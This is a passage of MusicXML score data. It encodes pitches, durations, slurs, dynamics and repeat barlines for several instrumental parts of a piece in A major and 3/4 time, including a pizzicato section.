<normal-notes>2</normal-notes>
</time-modification>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<tuplet type="start" placement="below"/>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>eighth</type>
<time-modification>
<actual-notes>3</actual-notes>
<normal-notes>2</normal-notes>
</time-modification>
<stem>up</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>eighth</type>
<time-modification>
<actual-notes>3</actual-notes>
<normal-notes>2</normal-notes>
</time-modification>
<stem>up</stem>
<beam number="1">end</beam>
<notations>
<tuplet type="stop"/>
</notations>
</note>
</measure>
<measure number="9">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
<notations>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<octave>4</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
<notations>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
<notations>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
<notations>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
<note>
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
<notations>
<articulations>
<staccato placement="below"/>
</articulations>
</notations>
</note>
</measure>
<measure number="10">
<note>
<pitch>
<step>A</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>F</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
</measure>
<measure number="11">
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>12</duration>
<voice>1</voice>
<type>half</type>
<stem>down</stem>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>3</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
</measure>
<measure number="12">
<note>
<pitch>
<step>C</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<rest/>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
<repeat direction="backward"/>
</barline>
</measure>
<measure number="X1" implicit="yes">
<barline location="left">
<bar-style>heavy-light</bar-style>
<repeat direction="forward"/>
</barline>
<note>
<rest/>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="13">
<note>
<rest/>
<duration>18</duration>
<voice>1</voice>
</note>
</measure>
<measure number="14">
<note>
<rest/>
<duration>18</duration>
<voice>1</voice>
</note>
</measure>
<measure number="15">
<note>
<rest/>
<duration>18</duration>
<voice>1</voice>
</note>
</measure>
<measure number="16">
<note>
<rest/>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<rest/>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>6</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
</measure>
</part>
<part id="P2">
<measure number="0" implicit="yes">
<attributes>
<divisions>8</divisions>
<key>
<fifths>3</fifths>
<mode>major</mode>
</key>
<time>
<beats>3</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>G</sign>
<line>2</line>
</clef>
</attributes>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="1">
<direction placement="below">
<direction-type>
<dynamics>
<p/>
</dynamics>
</direction-type>
<offset>7</offset>
<sound dynamics="54"/>
</direction>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="2">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="3">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="4">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="5">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="6">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>A</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<accidental>sharp</accidental>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="7">
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>A</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<accidental>sharp</accidental>
<stem>down</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="8">
<print new-system="yes"/>
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="9">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="10">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="11">
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
</measure>
<measure number="12">
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
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<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
<repeat direction="backward"/>
</barline>
</measure>
<measure number="X1" implicit="yes">
<barline location="left">
<bar-style>heavy-light</bar-style>
<repeat direction="forward"/>
</barline>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="13">
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="14">
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
</measure>
<measure number="15">
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">begin</beam>
</note>
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">continue</beam>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>down</stem>
<beam number="1">end</beam>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
</measure>
<measure number="16">
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
<note>
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">begin</beam>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<stem>up</stem>
<beam number="1">end</beam>
</note>
</measure>
</part>
<part id="P3">
<measure number="0" implicit="yes">
<attributes>
<divisions>8</divisions>
<key>
<fifths>3</fifths>
<mode>major</mode>
</key>
<time>
<beats>3</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>G</sign>
<line>2</line>
</clef>
</attributes>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
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<measure number="1">
<direction placement="below">
<direction-type>
<dynamics>
<p/>
</dynamics>
</direction-type>
<offset>7</offset>
<sound dynamics="54"/>
</direction>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
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<measure number="2">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="3">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="4">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="5">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="6">
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>natural</accidental>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
</measure>
<measure number="7">
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>natural</accidental>
<stem>up</stem>
</note>
</measure>
<measure number="8">
<print new-system="yes"/>
<note>
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
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</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="9">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="10">
<note>
<rest/>
<duration>24</duration>
<voice>1</voice>
</note>
</measure>
<measure number="11">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>up</stem>
<notations>
<slur type="start" number="1"/>
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</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>sharp</accidental>
<stem>up</stem>
<notations>
<slur type="stop" number="1"/>
</notations>
</note>
</measure>
<measure number="12">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<barline location="right">
<bar-style>light-heavy</bar-style>
<repeat direction="backward"/>
</barline>
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<measure number="X1" implicit="yes">
<barline location="left">
<bar-style>heavy-light</bar-style>
<repeat direction="forward"/>
</barline>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="13">
<direction placement="below">
<direction-type>
<dynamics>
<p/>
</dynamics>
</direction-type>
<sound dynamics="54"/>
</direction>
<direction placement="above">
<direction-type>
<words>pizz.</words>
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<sound pizzicato="yes">
<midi-instrument id="P3-I4">
<midi-program>46</midi-program>
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</sound>
</direction>
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="14">
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
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<measure number="15">
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<chord/>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="16">
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<chord/>
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
</part>
<part id="P4">
<measure number="0" implicit="yes">
<attributes>
<divisions>8</divisions>
<key>
<fifths>3</fifths>
<mode>major</mode>
</key>
<time>
<beats>3</beats>
<beat-type>4</beat-type>
</time>
<clef>
<sign>C</sign>
<line>3</line>
</clef>
</attributes>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
</measure>
<measure number="1">
<direction placement="below">
<direction-type>
<dynamics>
<p/>
</dynamics>
</direction-type>
<offset>7</offset>
<sound dynamics="54"/>
</direction>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="2">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="3">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="4">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
</measure>
<measure number="5">
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="6">
<note>
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>up</stem>
</note>
<note>
<rest/>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
<notations>
<slur type="start" number="1"/>
</notations>
</note>
</measure>
<measure number="7">
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>16</duration>
<voice>1</voice>
<type>half</type>
<stem>down</stem>
</note>
<note>
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<stem>down</stem>
</note>
</measure>
<measure number="8">
<print new-system="yes"/>
<note>
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
